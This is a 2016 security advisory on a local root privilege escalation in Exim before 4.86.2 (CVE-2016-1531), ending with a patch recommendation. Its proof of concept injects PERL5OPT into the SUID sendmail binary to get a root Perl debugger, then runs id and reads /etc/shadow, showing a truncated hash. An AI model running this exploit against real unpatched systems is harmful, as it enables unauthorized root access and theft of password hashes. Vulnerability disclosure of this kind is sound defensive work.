Exim Local Privilege Escalation
Posted on 11 March 2016
============================================= - Release date: 10.03.2016 - Discovered by: Dawid Golunski - Severity: High/Critical ============================================= I. VULNERABILITY ------------------------- Exim < 4.86.2 Local Root Privilege Escalation II. BACKGROUND ------------------------- "Exim is a message transfer agent (MTA) developed at the University of Cambridge for use on Unix systems connected to the Internet. It is freely available under the terms of the GNU General Public Licence. In style it is similar to Smail 3, but its facilities are more general. There is a great deal of flexibility in the way mail can be routed, and there are extensive facilities for checking incoming mail. Exim can be installed in place of Sendmail, although the configuration of Exim is quite different." http://www.exim.org/ III. INTRODUCTION ------------------------- When Exim installation has been compiled with Perl support and contains a perl_startup configuration variable it can be exploited by malicious local attackers to gain root privileges. IV. DESCRIPTION ------------------------- The vulnerability stems from Exim in versions below 4.86.2 not performing sanitization of the environment before loading a perl script defined with perl_startup setting in exim config. perl_startup is usually used to load various helper scripts such as mail filters, gray listing scripts, mail virus scanners etc. For the option to be supported, exim must have been compiled with Perl support, which can be verified with: [dawid@centos7 ~]$ exim -bV -v | grep i Perl Support for: crypteq iconv() IPv6 PAM Perl Expand_dlfunc TCPwrappers OpenSSL Content_Scanning DKIM Old_Demime PRDR OCSP To perform the attack, attacker can take advantage of the exim's sendmail interface which links to an exim binary that has an SUID bit set on it by default as we can see below: [dawid@centos7 ~]$ ls -l /usr/sbin/sendmail.exim lrwxrwxrwx. 1 root root 4 Nov 30 00:45 /usr/sbin/sendmail.exim -> exim [dawid@centos7 ~]$ ls -l /usr/sbin/exim -rwsr-xr-x. 1 root root 1222416 Dec 7 2015 /usr/sbin/exim Normally, when exim sendmail interface starts up, it drops its root privileges before giving control to the user (i.e entering mail contents for sending etc), however an attacker can make use of the following command line parameter which is available to all users: -ps This option applies when an embedded Perl interpreter is linked with Exim. It overrides the setting of the perl_at_start option, forcing the starting of the interpreter to occur as soon as Exim is started. As we can see from the documentation at: http://www.exim.org/exim-html-current/doc/html/spec_html/ch-embedded_perl.html the perl_at_start option does the following: "Setting perl_at_start (a boolean option) in the configuration requests a startup when Exim is entered." Therefore it is possible to force the execution of the perl_startup script defined in the Exim's main config before exim drops its root privileges. To exploit this setting and gain the effective root privilege of the SUID binary, attackers can inject PERL5OPT perl environment variable, which does not get cleaned by affected versions of Exim. As per perl documentation, the environment variable allows to set perl command-line options (switches). Switches in this variable are treated as if they were on every Perl command line. There are several interesting perl switches that that could be set by attackers to trigger code execution. One of these is -d switch which forces perl to enter an interactive debug mode in which it is possible to take control of the perl application. An example proof of concept exploitation using the -d switch can be found below. V. PROOF OF CONCEPT ------------------------- [dawid@centos7 ~]$ head /etc/exim/exim.conf ###################################################################### # Runtime configuration file for Exim # ###################################################################### # Custom filtering via perl perl_startup = do '/usr/share/exim4/exigrey.pl' [dawid@centos7 ~]$ exim -bV -v | grep -i Perl Support for: crypteq iconv() IPv6 PAM Perl Expand_dlfunc TCPwrappers OpenSSL Content_Scanning DKIM Old_Demime PRDR OCSP [dawid@centos7 ~]$ PERL5OPT="-d/dev/null" /usr/sbin/sendmail.exim -ps victim@localhost Loading DB routines from perl5db.pl version 1.37 Editor support available. Enter h or 'h h' for help, or 'man perldebug' for more help. Debugged program terminated. Use q to quit or R to restart, use o inhibit_exit to avoid stopping after program termination, h q, h R or h o to get additional info. DB<1> p system("id"); uid=0(root) gid=10(wheel) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 0 DB<2> p system("head /etc/shadow"); root:$5$afgjO3wQeqHpAYF7$TmL0[...]AYAAvbA:16682:0:99999:7::: bin:*:16372:0:99999:7::: daemon:*:16372:0:99999:7:: [...] VI. BUSINESS IMPACT ------------------------- This vulnerability could be exploited by attackers who have local access to the system to escalate their privileges to root which would allow them to fully compromise the system. VII. SYSTEMS AFFECTED ------------------------- Exim versions before the latest patched version of Exim 4.86.2 are be affected by this vulnerability, if Exim was compiled with Perl support and the main configuration file (i.e /etc/exim/exim.conf or /etc/exim4/exim.conf), contains a perl_startup option e.g: perl_startup = do '/usr/share/exim4/exigrey.pl' It is important to note that the file does not necessarily have to exist to exploit the vulnerability. Although the path must be specified. VIII. SOLUTION ------------------------- Update to Exim 4.86.2 which contains the official patch that fixes the environment sanitization issues. IX. REFERENCES ------------------------- http://legalhackers.com/advisories/Exim-Local-Root-Privilege-Escalation.txt http://www.exim.org/ http://www.exim.org/static/doc/CVE-2016-1531.txt http://www.exim.org/exim-html-current/doc/html/spec_html/ch-embedded_perl.html https://github.com/Exim/exim/commit/29f9808015576a9a1f391f4c6b80c7c606a4d99f X. ADVISORY CREATED BY ------------------------- This advisory has been created by Dawid Golunski dawid (at) legalhackers (dot) com legalhackers.com XI. REVISION HISTORY ------------------------- March 10th, 2016: Advisory released XII. LEGAL NOTICES ------------------------- The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. I accept no responsibility for any damage caused by the use or misuse of this information.
